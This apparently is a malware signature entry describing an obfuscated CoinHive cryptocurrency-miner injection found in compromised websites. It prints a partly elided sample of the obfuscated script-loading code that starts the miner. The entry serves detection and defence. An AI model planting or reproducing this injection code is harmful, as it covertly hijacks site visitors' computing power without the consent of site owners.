Description:
One of many obfuscated CoinHive JavaScript miner injections, which usually means that it's used without webmaster's consent.
var _0x6477=["x73x63x72x69x70x74","x63x72x65x61x74x65x45x6Cx65x6D...skipped...x69x32x57x79x54x56x43x51x50x63x4C"];function require(_0xf591x2,_0xf591x3){var _0xf591x4=document[_0x6477[1]](_0x6477[0]);_0xf591x4[_0x6477[2]]= _0xf591x2;_0xf591x4[_0x6477[3]]= _0x6477[4];_0xf591x4[_0x6477[6]](_0x6477[5],_0xf591x3);document[_0x6477[9]](_0x6477[8])[0][_0x6477[7]](_0xf591x4)}
require(_0x6477[10],function(){ new CoinHive.Anonymous(_0x6477[12])[_0x6477[11]]()})
Affecting: Any website. This code is usually found injected inside legitimate script tags.